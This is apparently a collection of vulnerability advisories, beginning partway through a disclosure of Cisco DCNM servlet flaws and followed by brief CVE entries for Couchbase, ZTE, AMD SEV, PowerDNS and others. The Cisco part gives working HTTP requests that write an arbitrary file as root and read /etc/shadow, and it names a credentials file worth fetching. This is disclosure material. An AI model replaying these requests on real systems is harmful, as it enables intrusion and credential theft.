FileFilter fileFilter = new FileFilter(); fileFilter.setImageTypes(allowedFormats); File[] fileList = new File(uploadDir).listFiles(fileFilter); for (int i = 0; i < fileList.length; ++i) { new File(fileList[i].getAbsolutePath()).delete(); } disk = new File(uploadDir + File.separator + fname); item.write(disk); Calendar calendar = Calendar.getInstance(); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa"); statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime()); } imageReader.dispose(); imageInputStream.close(); atts.addAttribute("", "", "id", "CDATA", newFileName); } catch (Exception ex) { this.processUploadedFile(item, uploadDir, fname); Calendar calendar = Calendar.getInstance(); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa"); statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime()); atts.addAttribute("", "", "id", "CDATA", fname); } hd.startElement("", "", "file", atts); hd.characters(statusMessage.toCharArray(), 0, statusMessage.length()); hd.endElement("", "", "file"); } hd.endElement("", "", "response"); hd.endDocument(); out.close(); } catch (Exception e) { out.println(e.getMessage()); } } handleUpload is more complex, but here's a summary; the function takes an HTTP form with a parameter "uploadDir", a parameter "fname" and then takes the last form object and writes it into "uploadDir/fname". However, there is a catch... the file has to be a valid image with one of the extensions listed here: allowedFormats.add("jpeg"); allowedFormats.add("png"); allowedFormats.add("gif"); allowedFormats.add("jpg"); allowedFormats.add("cert"); However, if you look closely, it is possible to upload any arbitrary content. This is because nothing bad happens until we reach the second (inner) try-catch block. Once inside, the first thing that happens is this: try { String imageFormat = imageReader.getFormatName(); ... which will cause imageReader to throw and exception if the binary content we sent is not a file, sending us into the catch block: catch (Exception ex) { this.processUploadedFile(item, uploadDir, fname); Calendar calendar = Calendar.getInstance(); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa"); statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime()); atts.addAttribute("", "", "id", "CDATA", fname); ... meaning that the file contents, upload dir and its name are sent into processUploadedFile. Let's look into that now: private void processUploadedFile(FileItem item, String uploadDir, String fname) throws Exception { try { int offset; int contentLength = (int)item.getSize(); InputStream raw = item.getInputStream(); BufferedInputStream in = new BufferedInputStream(raw); byte[] data = new byte[contentLength]; int bytesRead = 0; for (offset = 0; offset < contentLength && (bytesRead = in.read(data, offset, data.length - offset)) != -1; offset += bytesRead) { } in.close(); if (offset != contentLength) { throw new IOException("Only read " + offset + " bytes; Expected " + contentLength + " bytes"); } FileOutputStream out = new FileOutputStream(uploadDir + File.separator + fname); out.write(data); out.flush(); out.close(); } catch (Exception ex) { throw new Exception("FileUploadSevlet processUploadFile failed: " + ex.getMessage()); } } Amazingly, this function totally ignores the content, and simple writes the file contents to the filename and folder we have indicated. In summary, if we send any binary content that is not a file, we can write it to any new file in any directory as root. If we send the following request: POST /fm/fileUpload HTTP/1.1 Host: 10.75.1.40 Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C; Content-Length: 429 Content-Type: multipart/form-data; boundary=---------------------------9313517619947 -----------------------------9313517619947 Content-Disposition: form-data; name="fname" owned -----------------------------9313517619947 Content-Disposition: form-data; name="uploadDir" /tmp/ -----------------------------9313517619947 Content-Disposition: form-data; name="filePath"; filename="whatever" Content-Type: application/octet-stream <any text or binary content here> -----------------------------9313517619947-- The server will respond with: HTTP/1.1 200 OK X-FRAME-OPTIONS: SAMEORIGIN Content-Type: text/xml;charset=utf-8 Date: Mon, 03 Sep 2018 00:57:11 GMT Connection: close Server: server <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE response SYSTEM "response.dtd"> <response> <field id="fname">owned</field> <field id="uploadDir">/tmp/</field> <file id="whatever">File successfully written to server at 09.02.18 05:57:11 PM</file> </response> And our file has been written as root on the server: [root@dcnm_vm ~]# ls -l /tmp/ (...) -rw-r--r-- 1 root root 16 Sep 2 17:57 owned (...) Finally if we write a WAR file to the JBoss deployment directory, and the server will deploy the WAR file as root, allowing the attacker to achieve remote code execution. A Metasploit module that exploits this vulnerability has been released with this advisory. An authenticated user can abuse this servlet to download arbitrary files as root [5]. The code below shows the servlet request processing code: com.cisco.dcbu.web.client.util.DownloadServlet public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials")); if (cred == null || !cred.isAuthenticated()) { throw new ServletException("User not logged in or Session timed out."); } String showFile = (String)request.getAttribute("showFile"); if (showFile == null) { showFile = request.getParameter("showFile"); } File f = new File(showFile); if (showFile.endsWith(".cert")) { response.setContentType("application/octet-stream"); response.setHeader("Pragma", "cache"); response.setHeader("Cache-Control", "cache"); response.setHeader("Content-Disposition", "attachment; filename=fmserver.cert;"); } else if (showFile.endsWith(".msi")) { response.setContentType("application/x-msi"); response.setHeader("Pragma", "cache"); response.setHeader("Cache-Control", "cache"); response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";"); } else if (showFile.endsWith(".xls")) { response.setContentType("application/vnd.ms-excel"); response.setHeader("Pragma", "cache"); response.setHeader("Cache-Control", "cache"); response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";"); } ServletOutputStream os = response.getOutputStream(); FileInputStream is = new FileInputStream(f); byte[] buffer = new byte[4096]; int read = 0; try { while ((read = is.read(buffer)) > 0) { os.write(buffer, 0, read); } os.flush(); } catch (Exception e) { LogService.log(LogService._WARNING, e.getMessage()); } finally { is.close(); } } } As you can see, it's quite simple. It takes a "showFile" request parameter, reads that file and returns to the user. Here's an example of the servlet in action: Request: GET /fm/downloadServlet?showFile=/etc/shadow HTTP/1.1 Host: 10.75.1.40 Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C; Response: HTTP/1.1 200 OK root:$1$(REDACTED).:17763:0:99999:7::: bin:*:15980:0:99999:7::: daemon:*:15980:0:99999:7::: adm:*:15980:0:99999:7::: lp:*:15980:0:99999:7::: (...) An interesting file to download is /usr/local/cisco/dcm/fm/conf/server.properties, which contains the database credentials as well as the sftp root password, both encrypted with a key that is hardcoded in the source code. A Metasploit module that exploits this vulnerability has been released with this advisory. This servlet can be accessed by an unauthenticated attacker, and it will return all the log files in /usr/local/cisco/dcm/fm/logs/* in ZIP format, which provide information about local directories, software versions, authentication errors, detailed stack traces, etc [6]. To access it, simply request: GET /fm/log/fmlogs.zip Code is not shown here for brevity, but the implementation class is com.cisco.dcbu.web.client.admin.LogZipperServlet. >> Fix: For #1, upgrade to DCNM 11.0(1) and above [3]. For #2 and #3, upgrade to DCNM 11.2(1) and above [4] [5]. For #4, it is not clear from Cisco's advisory on which version it was fixed [6]. >> References: [1] https://www.accenture.com/us-en/service-idefense-security-intelligence [2] https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/prime-data-center-network-manager/datasheet-c78-740978.html [3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass [4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex [5] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld [6] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-infodiscl >> Disclaimer: Please note that Agile Information Security relies on the information provided by the vendor when listing fixed versions or products. Agile Information Security does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so. Unconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerablities found by Agile Information Security are resolved properly. Agile Information Security Limited does not accept any responsiblity, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory. It is the vendor's responsibility to ensure their products' security before, during and after release to market. All information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3). For information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails. For more information check https://www.gnu.org/licenses/gpl-3.0.en.html ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business
VAR-201906-0160 CVE-2019-9039 Couchbase Sync Gateway SQL Injection Vulnerability CVSS V2: 7.5
CVSS V3: 9.8
Severity: CRITICAL
In Couchbase Sync Gateway 2.1.2, an attacker with access to the Sync Gateway’s public REST API was able to issue additional N1QL statements and extract sensitive data or call arbitrary N1QL functions through the parameters "startkey" and "endkey" on the "_all_docs" endpoint. By issuing nested queries with CPU-intensive operations they may have been able to cause increased resource usage and denial of service conditions. The _all_docs endpoint is not required for Couchbase Mobile replication and external access to this REST endpoint has been blocked to mitigate this issue. This issue has been fixed in versions 2.5.0 and 2.1.3. Couchbase Sync Gateway Is SQL An injection vulnerability exists.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The Couchbase Sync Gateway is a secure Web gateway for data access and data synchronization over the Web from Couchbase, USA. An attacker could exploit this vulnerability to inject other N1QL statements
VAR-201907-0093 CVE-2019-3414 ZTE OTCP Vulnerable to cross-site scripting CVSS V2: 2.3
CVSS V3: 4.8
Severity: MEDIUM
All versions up to V1.19.20.02 of ZTE OTCP product are impacted by XSS vulnerability. Due to XSS, when an attacker invokes the security management to obtain the resources of the specified operation code owned by a user, the malicious script code could be transmitted in the parameter. If the front end does not process the returned result from the interface properly, the malicious script may be executed and the user cookie or other important information may be stolen. ZTE OTCP Contains a cross-site scripting vulnerability.Information may be obtained and information may be altered. ZTE OTCP is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. This may help the attacker steal cookie-based authentication credentials and launch other attacks. ZTE OTCP version 1.19.20.02 and prior are vulnerable. ZTE OTCP is a set of next-generation network management platform products of China ZTE Corporation (ZTE). The vulnerability stems from the lack of correct validation of client data in WEB applications. An attacker could exploit this vulnerability to execute client code
VAR-201907-0268 CVE-2019-5220 plural Huawei Product permission vulnerabilities CVSS V2: 2.1
CVSS V3: 4.6
Severity: MEDIUM
There is a Factory Reset Protection (FRP) bypass vulnerability on several smartphones. The system does not sufficiently verify the permission, an attacker could do a certain operation on certain step of setup wizard. Successful exploit could allow the attacker bypass the FRP protection. Affected products: Mate 20 X, versions earlier than Ever-AL00B 9.0.0.200(C00E200R2P1); Mate 20, versions earlier than Hima-AL00B/Hima-TL00B 9.0.0.200(C00E200R2P1); Honor Magic 2, versions earlier than Tony-AL00B/Tony-TL00B 9.0.0.182(C00E180R2P2). Huawei Mate 20 is a smartphone from China's Huawei company. The vulnerability stems from insufficient system validation
VAR-201906-0005 CVE-2019-3569 Facebook HHVM Information Disclosure Vulnerability CVSS V2: 5.0
CVSS V3: 7.5
Severity: HIGH
HHVM, when used with FastCGI, would bind by default to all available interfaces. This behavior could allow a malicious individual unintended direct access to the application, which could result in information disclosure. This issue affects versions 4.3.0, 4.4.0, 4.5.0, 4.6.0, 4.7.0, 4.8.0, versions 3.30.5 and below, and all versions in the 4.0, 4.1, and 4.2 series. HHVM Contains an information disclosure vulnerability.Information may be obtained. Facebook HHVM (also known as HipHop Virtual Machine) is a virtual machine that can significantly improve the performance of PHP loading dynamic pages
VAR-201906-1350 No CVE MPSec ISG1000 Internet Behavior Manager Has Logical Defect Vulnerability CVSS V2: 1.7
CVSS V3: -
Severity: LOW
MPSec ISG1000 Internet Behavior Manager is an Internet behavior management device from Maipu Communication Technology Co., Ltd. The MPSec ISG1000 Internet Behavior Manager has a logic flaw that can be used by attackers to bypass access restrictions.
VAR-201906-1354 No CVE Apple AirPort Base Station Updates for vulnerabilities in CVSS V2: -
CVSS V3: -
Severity: -
Apple From AirPort Base Station An update for has been released. JPCERT/CC Supplemental information from [2019 Year 07 Moon 02 Day correction ] " AirPort The product name in Japan is " AirMac Will be.The expected impact depends on each vulnerability, but can be affected as follows: * information leak * Service operation interruption (DoS) * Arbitrary code execution
VAR-201906-0236 CVE-2019-9836 Secure Encrypted Virtualization Cryptographic vulnerability CVSS V2: 5.0
CVSS V3: 5.3
Severity: MEDIUM
Secure Encrypted Virtualization (SEV) on Advanced Micro Devices (AMD) Platform Security Processor (PSP; aka AMD Secure Processor or AMD-SP) 0.17 build 11 and earlier has an insecure cryptographic implementation. Secure Encrypted Virtualization (SEV) Contains a cryptographic vulnerability.Information may be obtained. AMD Platform Security Processor is a security processor of American AMD Company. An attacker could exploit this vulnerability to obtain information. SEV protects guest virtual machines from the hypervisor, provides confidentiality guarantees at runtime and remote attestation at launch time. See [1] for details. SEV key management code runs inside the Platform Security Processor (PSP) [2]. The SEV elliptic-curve (ECC) implementation was found to be vulnerable to an invalid curve attack. At launch-start command, an attacker can send small order ECC points not on the official NIST curves, and force the SEV firmware to multiply a small order point by the firmware’s private DH scalar. By collecting enough modular residues, an attacker can recover the complete PDH private key. With the PDH, an attacker can recover the session key and the VM’s launch secret. This breaks the confidentiality guarantees offered by SEV. Key exchange during VM launch ========================= 1. The PSP publishes its PDH public key through SEV_PDH_CERT_EXPORT command. This key is computed by multiplying the ECC generator (NIST P256/P384 curves are supported) by the PDH private key: A<-G*k, where k, the private key, is randomly generated in the range (1, order(G)). 2. The client generates its private DH key, s, and computes the shared key C<-A*s=G*k*s. C is the shared point on the curve. Its x-coordinate is hashed and used as the master shared secret. Two keys KEK/KIK are derived from the master secret, and used to protect (encryption+integrity) the session keys. 3. The client computes its public key B<-G*s and sends it to the PSP through the SEV_LAUNCH_START command. 4. The PSP computes the shared key C by multiplying the client’s public key by its PDH private scalar: C<-B*k=G*s*k. Like the client, the PSP takes C’s x coordinate, computes the master shared secret and derives the KEK/KIK. These are used to unwrap the session keys. See API specification [3] for details. ECDH security relies on the generator point, G, having a large order and on the discrete logarithm problem being hard for the curve. Note that in step 4, the PSP performs a computation with its private key on user supplied data - the client’s public point. Invalid curve attack =============== ECC point multiplication relies on a point addition primitive. There are different implementations for ECC point addition. A common one is based on the short Weierstrass ECC form, as described in [4]. Note that the curve’s "b" equation parameter is never used. An invalid curve attack is where the ECDH point multiplication is done on a different curve - different (a,b) parameters. This becomes possible in the short Weierstrass point addition function since the "b" parameter is not used. On this curve, the point has a small prime order. By trying all possible values for the small order point, an attacker can recover the private scalar bits (modulo the order). The modular residues are assembled offline using the Chinese Remainder Theorem, leading to a full key recovery. See the original paper [5] on invalid curve attacks, or a more recent paper [6] on the topic. Affected products ============= AMD EPYC server platforms (codename "Naples") running SEV firmware version 0.17 build 11 and below are affected. Fix === We were able to verify the fix is properly implemented in build 22 [7]: PSP rejects points not on the NIST curve, and fails with INVALID_CERT error. Additional issues ============= Certificates for PDH keys generated on a vulnerable system are still valid. This means SEV might still be vulnerable to a migration attack, where a client’s VM is migrated from a non-vulnerable system to a vulnerable one. In addition, at this point, it is not clear whether SEV is vulnerable to a FW downgrade attack. Credits ====== This vulnerability was discovered and reported to AMD by Cfir Cohen of the Google Cloud security team. Timeline ======= 2-19 - Vulnerability disclosed to AMD PSIRT 2-23 - AMD confirms the bug 2-25 - POC shared with AMD 5-13 - AMD requests a 30 day extension 6-04 - AMD releases fixed firmware [7] 6-07 - AMD requests a 2 week extension 6-25 - Public disclosure [1] - https://developer.amd.com/sev/ [2] - https://en.wikipedia.org/wiki/AMD_Platform_Security_Processor [3] - https://developer.amd.com/wp-content/resources/55766.PDF [4] - https://www.hyperelliptic.org/EFD/g1p/auto-shortw.html [5] - https://www.iacr.org/archive/crypto2000/18800131/18800131.pdf [6] - http://www.cs.technion.ac.il/~biham/BT/bt-fixed-coordinate-invalid-curve-attack.pdf [7] - https://developer.amd.com/wp-content/resources/amd_sev_fam17h_model0xh_0.17b22.zip
VAR-201906-0118 CVE-2019-6163 Lenovo System Update Vulnerable to improper resource shutdown and release CVSS V2: 5.0
CVSS V3: 7.5
Severity: HIGH
A denial of service vulnerability was reported in Lenovo System Update before version 5.07.0084 that could allow service log files to be written to non-standard locations. Lenovo System Update Contains vulnerabilities related to improper shutdown and release of resources.Service operation interruption (DoS) There is a possibility of being put into a state. Lenovo 3000 C100, etc. are all products of China Lenovo (Lenovo). The Lenovo 3000 C100 is a laptop. The Lenovo 3000 C200 is a laptop. Lenovo ThinkCentre is a desktop computer. Lenovo System Update is one of the system update tools. A security vulnerability exists in Lenovo System Update. An attacker could exploit this vulnerability to elevate privileges. The following products and versions are affected: Lenovo 3000 C100; Lenovo 3000 C200; Lenovo 3000 N100; Lenovo 3000 N200; Lenovo 3000 V100; Lenovo 3000 V200; Lenovo 3000 J100; Lenovo 3000 J105; Lenovo 3000 J15; Lenovo 300 J15; Lenovo 3000 J200p; Lenovo 3000 J205; Lenovo 3000 S200; Lenovo 3000 S200p; Lenovo 3000 S205; ThinkPad (all models); ThinkCentre (all models); ThinkStation; Lenovo V/B/K/E Series
VAR-201906-0705 CVE-2014-9699 MakerBot Industries Replicator 5G printer Information Disclosure Vulnerability CVSS V2: 5.0
CVSS V3: 7.5
Severity: HIGH
The MakerBot Replicator 5G printer runs an Apache HTTP Server with directory indexing enabled. Apache logs, system logs, design files (i.e., a history of print files), and more are exposed to unauthenticated attackers through this HTTP server. MakerBot Replicator 5G There is an information disclosure vulnerability in the printer.Information may be obtained. MakerBotIndustriesReplicator5Gprinter is a fifth-generation 3D printer from MakerBotIndustries, USA. via an HTTP server. MakerBot Industries Replicator 5G printer is a fifth-generation 3D printer produced by MakerBot Industries of the United States
VAR-202010-0164 CVE-2019-8573 Apple AirPort Base Station Firmware Denial of Service Vulnerability CVSS V2: 7.8
CVSS V3: 7.5
Severity: HIGH
An input validation issue was addressed with improved input validation. This issue is fixed in macOS Mojave 10.14.5, Security Update 2019-003 High Sierra, Security Update 2019-003 Sierra, iOS 12.3, watchOS 5.2.1. A remote attacker may be able to cause a system denial of service. Apple AirPort Base Station is a wireless router from Apple Inc. of the United States. A security vulnerability exists in the Apple AirPort Base Station firmware. CVE-2019-8581: Lucio Albornoz AirPort Base Station Firmware Available for: AirPort Express, AirPort Extreme, and AirPort Time Capsule base stations with 802.11n Impact: A remote attacker may be able to cause a system denial of service Description: A null pointer dereference was addressed with improved input validation. CVE-2019-8588: Vince Cali (@0x56) AirPort Base Station Firmware Available for: AirPort Express, AirPort Extreme, and AirPort Time Capsule base stations with 802.11n Impact: A remote attacker may be able to cause arbitrary code execution Description: A use after free issue was addressed with improved memory management. CVE-2019-8578: Maxime Villard AirPort Base Station Firmware Available for: AirPort Express, AirPort Extreme, and AirPort Time Capsule base stations with 802.11n Impact: A remote attacker may be able to cause a system denial of service Description: A denial of service issue was addressed with improved validation. CVE-2019-8575: joshua stein AirPort Base Station Firmware Available for: AirPort Express, AirPort Extreme, and AirPort Time Capsule base stations with 802.11n Impact: An attacker in a privileged position may be able to perform a denial of service attack Description: A denial of service issue was addressed with improved memory handling. CVE-2019-7291: Maxime Villard AirPort Base Station Firmware Available for: AirPort Express, AirPort Extreme, and AirPort Time Capsule base stations with 802.11n Impact: Source-routed IPv4 packets may be unexpectedly accepted Description: Source-routed IPv4 packets were disabled by default. CVE-2019-8580: Maxime Villard AirPort Base Station Firmware Available for: AirPort Express, AirPort Extreme, and AirPort Time Capsule base stations with 802.11n Impact: A remote attacker may be able to cause arbitrary code execution Description: A null pointer dereference was addressed with improved input validation. CVE-2019-8572: Maxime Villard Installation note: Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222 This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEDNXJVNCJJEAVmJdZeC9tht7TK3EFAl0LwDUACgkQeC9tht7T K3E5Zg//Q3A/rWtm1UXqA/AUuCqDPIw/LBdHI3adiFy82OYvFMiH5uzsmePPF+aZ INKefZJpatkAw0gYISivHkPcV+TOsyYvB9b38wgRMxxXQiH1jqVCceYiCE/WIzS6 yJoffLRp/q6EtWc4drMPTsGV9T6CsSA40xcdmEjYzOYEDu6qlPzfIFS821Tbkj/8 FmIg1hghtSOu3agflYjyuk2Q8+dR7GVNJWWURdjCi1cKkhzTsAmB3yLTJ2IHD9i9 PEeYGCmA5QYuCoHzBBe/PQZrg0cTuNZkCyJZdI5jOD+UsHPqkDpOLpTLVjSYv7zR U/mXiMxPoXyBqaTcKpsc1OzLgAM5E2D+yF1Ln9tOrkR28rWW/XqpIhVrfQgibd5c zNB2JJALOh1SDvzNnB7ZbjWTOPzI/Fnig+TLG4oSOgh35gagh5n2H9sEGmy82KK/ VIABqNmiz1By0weWseG+nPoUAXENixnPaVw2nJ/JdGevpnMwmd0Rmob2I6+DIaeW MwjZMxwWSmH8PLuyBBJN6CPtpZp2W1fUDpFHqYwdbOkOzSa/dEqhXJOEKEX9E0KQ CrKAYDqBGjvKlz25llklR6do5DptiJLPluSNWDQj7DRqVsORfAx6o4pxlwrb4627 8aa2B4pK0B26K07e7Fe7+ydh6dYo/YzNfgxNDX4iFr1YDGaotVo=2YFH -----END PGP SIGNATURE-----
VAR-201906-0727 CVE-2017-17945 ASUS HiVivo Vulnerabilities related to certificate validation CVSS V2: 6.4
CVSS V3: 9.1
Severity: CRITICAL
The ASUS HiVivo aspplication before 5.6.27 for ASUS Watch has Missing SSL Certificate Validation. The program mainly monitors heart rate and exercise trajectory through smart watches. The vulnerability is due to the fact that the program does not verify the SSL certificate. Currently there is no information about this vulnerability, please keep an eye on CNNVD or vendor announcements
VAR-201906-1347 No CVE File Upload Vulnerability in Youxun Online Behavior Management System CVSS V2: 7.1
CVSS V3: -
Severity: HIGH
Youxun Electronic Equipment (Shanghai) Co., Ltd. is a company mainly engaged in network equipment, wireless equipment, switches and other projects. Youxun's online behavior management system has a file upload vulnerability that can be used by attackers to gain server permissions.
VAR-201906-1348 No CVE Huamai Yunyun has weak password vulnerability CVSS V2: 2.1
CVSS V3: -
Severity: LOW
Chengdu Huamai Communication Technology Co., Ltd. is a supplier of civil network cameras and remote monitoring systems. Huamai Cloud Monitor has a weak password vulnerability that can be used by attackers to gain sensitive information.
VAR-201906-0457 CVE-2019-12933 PIX-Link Repeater/Router LV-WR09 Firmware cross-site scripting vulnerability CVSS V2: 4.3
CVSS V3: 6.1
Severity: Medium
Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2019-11877. Reason: This candidate is a duplicate of CVE-2019-11877. Notes: All CVE users should reference CVE-2019-11877 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage. PIX-Link Repeater/Router LV-WR09 Contains a cross-site scripting vulnerability.Information may be obtained and information may be altered
VAR-201907-1556 CVE-2019-10163 PowerDNS Authoritative Server Vulnerable to resource exhaustion CVSS V2: 4.0
CVSS V3: 4.3
Severity: MEDIUM
A Vulnerability has been found in PowerDNS Authoritative Server before versions 4.1.9, 4.0.8 allowing a remote, authorized master server to cause a high CPU load or even prevent any further updates to any slave zone by sending a large number of NOTIFY messages. Note that only servers configured as slaves are affected by this issue. PowerDNS Authoritative Server Contains a resource exhaustion vulnerability.Service operation interruption (DoS) There is a possibility of being put into a state. PowerDNSAuthoritativeServer is a DNS server of the Dutch PowerDNS company. A security vulnerability exists in PowerDNSAuthoritativeServer 4.1.8 and earlier. An attacker could exploit the vulnerability by sending a large number of NOTIFY packets to cause a denial of service. PowerDNS Authoritative Server is prone to a denial-of-service vulnerability. PowerDNS Authoritative Server version 4.1.8 and prior are vulnerable. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 - ------------------------------------------------------------------------- Debian Security Advisory DSA-4470-1 security@debian.org https://www.debian.org/security/ Moritz Muehlenhoff June 23, 2019 https://www.debian.org/security/faq - ------------------------------------------------------------------------- Package : pdns CVE ID : CVE-2019-10162 CVE-2019-10163 Two vulnerabilities have been discovered in pdns, an authoritative DNS server which may result in denial of service via malformed zone records and excessive NOTIFY packets in a master/slave setup. For the stable distribution (stretch), these problems have been fixed in version 4.0.3-1+deb9u5. We recommend that you upgrade your pdns packages. For the detailed security status of pdns please refer to its security tracker page at: https://security-tracker.debian.org/tracker/pdns Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/ Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAl0P6LYACgkQEMKTtsN8 Tjbi2RAAqjNYSOlZ5W/yfVxGPO5OiyC8XojhGPuPdVmByyCDTqzgPtZftKHxXfD2 0sdc5/NM7ZNC/3brzRrVlMVRm7/bJvPloeDAGb8bnSzge9Nzz9FB7zcQxc5fdaqA pn7/++FWXDmOVy2NEObcerk/SodAWDpVfmIZP6kH3aIeGs0WrUA/cusmV+C94kgv 6XVJ3IW2dsIQrHvkoBMi4TJg5PrIHW0RruuJHlUSUgTusZ3XQS+hd93dciK7E+an xi0yB5oA6Mb/vw7DzlBRQfkgMiG6p9YRTgXwBdvrxqEVkNYpq9G/xH+nUdE6rDqt M3bG5tUMGCdtywwmwaSGXvkv6/5puPkMRpJIyTeVQTVYMbOgWyovC5sB5T8JytyD tW7qpbv/Mbhw0mmh0m8KoWnegNQhTTn8d3IKCxalB9JYpw3zhkHmfQW79lBRtqCy SvJEhkOVW7yhsWCl+HjKMXphsPST/oeKP3vJx4ET+4n58OfOt9Fm7rx406g2sY2o NsUwTdF3GDD00v0iuF+Vcm2nA6Qj6dOAXlp4kZygjFbDao4iF6lzY4KGDYS/Pn5Z kB4g58ShfWkAE+/WAvF8QVNcICnlI3l9SxwR2NiY/x6O53vkYBWeiJP/OvRQhlPQ Kw4enCb3qrjgb6jMNDPBMe8TjMh92sEqiXPQBy57OcStAjcfxfI= =nUCz -----END PGP SIGNATURE-----
VAR-201906-0524 CVE-2019-12871 Phoenix Contact Automationworx BCP File Parsing Use-After-Free Remote Code Execution Vulnerability CVSS V2: 6.8
CVSS V3: 7.8
Severity: HIGH
An issue was discovered in PHOENIX CONTACT PC Worx through 1.86, PC Worx Express through 1.86, and Config+ through 1.86. A manipulated PC Worx or Config+ project file could lead to a Use-After-Free and remote code execution. The attacker needs to get access to an original PC Worx or Config+ project file to be able to manipulate it. After manipulation, the attacker needs to exchange the original file with the manipulated one on the application programming workstation. PHOENIX CONTACT PC Worx , PC Worx Express , Config+ Contains a vulnerability in the use of freed memory.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Phoenix Contact Automationworx. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the parsing of BCP files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. The Automation Worx Software Suite is an automation package from Phoenix Contact. Failed exploit attempts will likely cause a denial-of-service condition